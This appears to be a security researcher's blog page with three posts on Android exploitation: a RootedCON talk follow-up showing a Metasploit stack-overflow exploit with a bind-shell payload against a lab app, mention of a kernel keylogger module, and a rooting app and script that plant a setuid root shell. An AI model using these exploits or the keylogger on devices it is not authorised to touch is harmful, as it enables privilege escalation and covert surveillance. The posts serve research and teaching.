Limited Entropy Dot Com Not so random thoughts on security featured by Eloi Sanfèlix


RootedCON: Examples + small summary

Posted by Eloi Sanfèlix

It's been almost a month since RootedCON, but I didn't have any time to spend on preparing the .tgz file with the example shellcodes, poc apps and exploits we showed during our talk. And neither did I publish any kind of summary or anything about the event...

You can also find Javi's post on the RootedCON here. It's in Spanish, don't say I didn't warn ;-). You can also find the slides of our presentation here.

Examples from our presentation on Android exploitation

First things first, here is the examples we used during the presentation. As a quick summary, this is how I use the buffer overflow exploit.

First, launch the emulator and wait for it to start. Then, with adb you need to forward a couple of ports: 2000 for the vulnerable apps and whatever you like for your bind shell. Then you can launch the binary, which I had uploaded using adb push to /data/bin/myapp:

eloi@EloiLT:~/android/paper$ adb forward tcp:2000 tcp:2000
eloi@EloiLT:~/android/paper$ adb forward tcp:2222 tcp:2222
eloi@EloiLT:~/android/paper$ adb shell
# /data/bin/myapp

Now, you can launch the exploit from metasploit:

msf > use exploit/linux/misc/android_stack
msf exploit(android_stack) > set payload linux/armle/shell_bind_tcp
payload => linux/armle/shell_bind_tcp
msf exploit(android_stack) > set RPORT 2000
RPORT => 2000
msf exploit(android_stack) > set LPORT 2222
LPORT => 2222
msf exploit(android_stack) > exploit
[*] Started bind handler
[*] Command shell session 1 opened ( ->
[*] Command shell session 1 closed.
msf exploit(android_stack) > exploit
[*] Started bind handler
[*] Command shell session 2 opened ( ->
uid=0(root) gid=0(root)
[*] Command shell session 2 closed.
msf exploit(android_stack) >

The same thing applies to the cpp_challenge demo application. You just use a different exploit, but that's it. Beware that you might have to tune some addresses on your local installation, as they are hardcoded. However, I believe they should be static for every installation.

In addition to apps and the metasploit stuff, you can also find two kernel modules. One is a simple find syscall table module, and the other one is a keyboard logger. The latter only works for linux >= 2.6.28, for earlier versions you need to change it slightly.

RootedCON mini-summary

I won't spend much time on it, as it's been quite some time already and I don't feel like writing a complete summary of it.

Overall I think it was a great event. Sure there is stuff that can be improved as everywhere, but for being the first edition it was very good. From the talks I attended, in my opinion there were great talks but also a one or two I didn't really like. On our side, we are pretty happy with the way it was received and the reactions we have seen 🙂

Besides the talks, and probably even more important, it was great to meet so many people that I'd only know through the Internet otherwise. Cheers to all of you guys, hope to see you next year at RootedCON or maybe earlier somewhere else 🙂


My Hero Adventure (II) – How ‘to root’ your Android phone

Posted by Eloi Sanfèlix

In my previous post about the Hero I wrote about the structure of the system and commented how I got a root shell. In this post I'll tell you how to easily root your phone to be able to use applications that need root (admin/superuser) access in a VERY simple and easy way, without flashing recovery images or anything, just by installing an application and performing a click.

I tried it on my Hero with the latest HTC update, but it should work with any Android system with a kernel version up  to If you give it a try, give me feedback!

The application: Rooter

To assist myself in the rooting process I modified the FlashRec application by Christopher Lais, which uses an exploit for a NULL pointer dereference vulnerability in the Linux kernel (<= in order to obtain backups of the flash memory and to flash new custom ROMs.

In my case, I removed most of FlashRec's code and only left there the stuff that was needed for my application: a couple of buttons and a TextView to show information about the result of the process.



The Create rootshell button creates a setuid root shell in /system/bin/rootsh which you can use from the terminal, while the Extract SuperUser button extracts a Superuser.apk tool and an implementation of su to their respective directories. These applications are also from Christopher Lais I believe, and I didn't check their source code although I tried them out on the emulator and everything seems to be fine. As usual, all this comes without any warranty ;-).

From then on, an Intent (a message between Android's applications) will be sent to the Superuser.apk application each time a root request is performed using su. So, the user will be able to Allow once or always the requesting app. or to deny once or always.

Installing and running Rooter

Installing the application cannot be easier. Since I didn't upload it into the Market because I have no interest at all on doing so, you can download it from here and store it in your phone's SD card (I'm assuming you know how to ;-)). Once that's done, install a file manager if you don't have one yet. For instance Linda File Manager is available for free from the Market.

Using Linda File Manager, go to your SD card and find the Rooter.apk file. Clicking on it, choose to open it with Package Installer. At this point, it is possible that you need to enable the option to allow installation of apps from unknown sources in Settings > Application settings > Unknown sources.

Once enabled, accept and go back to Linda File Manager by pressing Back in your phone. Once there you can click again on Rooter.apk and now you will be able to install it. Once it's installed, press Open and the application will be launched. The only step left is to press Extract SuperUser and you'll have your Hero rooted. Now you can install applications that require root access such as Wifi theter :-).

Easy, isn't it?

Source code

For the curious reader, I've also uploaded the source code of the application here.


My Hero adventure (I)

Posted by Eloi Sanfèlix

So yes, I bought an HTC Hero a couple of weeks ago and I've been investigating it and looking around to see what's been happening in the android scene (let's call it this way 🙂 ). In this post I'm going to summarize what I discovered during my first days with the device... and will be followed by more updates because its edition is taking more time than I thought ;-).

First things first, the HTC Hero is a smartphone from HTC running a modified Android OS. It has a customized UI by HTC, multi-touch screen and browser with built-in flash support. Here is a small summary of the specifications:

  • Processor: Qualcomm MSM7200A, 528 MHz
  • Memory: 512 MB ROM and 288 MB RAM
  • Quad-Band GSM/GPRS/EDGE and HSPA/WCDMA network connectivity
  • GPS, Wi-Fi IEEE 802.11 b/g, Bluetooth
  • Camera 5 Mpixel
  • ...

Android development

Android provides a Java API for application development. Applications are normally implemented in Java, although it is possible to run ELF binaries compiled for ARM since it runs a Linux kernel. You can find all the documentation you need to start developing for the Android in

With the Hero, as with any other Android device I know of, you can enable USB debugging for development and use the tools in the Android SDK to connect to the device, upload applications and run them. Furthermore, the SDK provides an Eclipse plugin that makes it certainly easy to manage. You just press 'run as Android application' and it will run in your phone or in an emulator if no phone is connected.

However, the adb shell commands provides you a shell under the shell user and there is no way to get root.

Getting root shell access in my Hero

Didn't you say no way? Well... that's why it's written in italics ;-). Looking around I found references and howtos for rooting the Hero using the fastboot utility and flashing a recovery image into the phone. However I didn't have the sources used for creating this image so I decided to hold this for a while until I could actually look what was in there.

After some more reading, I also found the FlashRec utility which can be used to flash recovery images without having to reboot into flashboot mode and send it manually. And the source code was available! That sounds like a good oportunity to learn how things work in the Android world... so I downloaded the sources and started reading through them.

As it turns out, this FlashRec tool uses the sock_sendpage exploit for the Android, which sounds like fun ;-). So it includes an as_root binary which takes a template for a temporary file as its first argument, and then the command to be executed as root; when you press the 'flash' button, it just runs a flash_image binary included with Android but only executable for root.

But hey... do we really want to flash a recovery image? Well... it depends. In my case, I did because I wanted to install the new HTC Hero firmware update and I didn't have a handy Windows. But if that's not your case and you just want to obtain root, why don't you use this exploit to create a root shell?

You guessed it, that's what I did next :-). I just shrinked the FlashRec tool removing everything I didn't need, and made it execute a shell script that copied the /system/bin/sh shell into /system/bin/rootsh and gave it setuid root permissions. However, it took me quite a while to realize that there was no cp on this system! And it was because the ash shell it ships doesn't say Command not found when you type in cp as a non-privileged user, but Permission denied.

So my final script looked like this:

mount -o remount /dev/mtdblock3 /system
cat /system/bin/sh > /system/bin/rootsh
chmod 04755 /system/bin/rootsh
mount -o remount,ro /dev/mtdblock3 /system
exit 0

And after executing it I got the root shell waiting for me in /system/bin/rootsh. I only had to connect through adb and then run rootsh.

~ tuxed$ adb shell
* daemon not running. starting it now *
* daemon started successfully *
$ rootsh

Investigating the system structure

Well, we are in, now what? Let's take a look at the system structure: filesystems, shell, installed applications, etc. Let's start by running a mount to see what filesystems are there:

# mount
rootfs / rootfs ro 0 0
tmpfs /dev tmpfs rw,mode=755 0 0
devpts /dev/pts devpts rw,mode=600 0 0
proc /proc proc rw 0 0
sysfs /sys sysfs rw 0 0
tmpfs /sqlite_stmt_journals tmpfs rw,size=4096k 0 0
/dev/block/mtdblock3 /system yaffs2 ro 0 0
/dev/block/mtdblock5 /data yaffs2 rw,nosuid,nodev 0 0
/dev/block/mtdblock4 /cache yaffs2 rw,nosuid,nodev 0 0
/dev/block//vold/179:1 /sdcard vfat rw,dirsync,nosuid,nodev,noexec,uid=1000,gid=1000,fmask=0000,dmask=0000,allow_utime=0022,codepage=cp437,iocharset=iso8859-1,shortname=mixed,utf8 0 0

Ok, we can see a read-only filesystem mounted in the root directory ( using rootfs ), the usual /dev and /proc stuff and three partitions of the NAND flash mounted over /system , /data and /cache. The first one of them is mounted read-only and the latter are mounted with read-write permissions but suid files and devices are forbidden in there. Finally, our SD card is mounted under /sdcard as a FAT partition with read-write permission, and suid, devices and execution of binaries is forbidden from that partition.

Now, you are probably wondering... what about the missing partitions in the flash? Honestly, I didn't know either... one of them is for sure the recovery partition, which is where the code for recovering the device in case of problems (i.e. reflashing it) is stored. It helps to avoid bricked devices ;-). But how do we find out what is what?

What I did is first rebooting my hero, because the device was started a while ago and I wanted to see the complete boot log doing a simple dmesg. Then I did it, and scrolled up to find this:

<5>[ 4.765655] Creating 6 MTD partitions on "msm_nand":
<5>[ 4.766082] 0x024c0000-0x02500000 : "misc"
<5>[ 4.767425] 0x026c0000-0x02bc0000 : "recovery"
<5>[ 4.768890] 0x02bc0000-0x02e40000 : "boot"
<5>[ 4.770355] 0x02e40000-0x0d840000 : "system"
<5>[ 4.771820] 0x0d840000-0x15a40000 : "cache"
<5>[ 4.773162] 0x15a40000-0x20000000 : "userdata"

So we have 6 partitions in the NAND flash: misc, recovery, boot, system, cache and userdata. That makes for a 512 MB NAND flash memory, which matches the advertised size. Now, we have 3 of them mounted, one of them is identified as the recovery image and another one presumably conatins the boot loader. What is the "misc" partition then? Honestly, right now I have no clue but I guess we'll find out in a later post.

That's it for today. I'm stopping here because I feel that it's taking forever and I want to post this and move on for something else.

To be continued...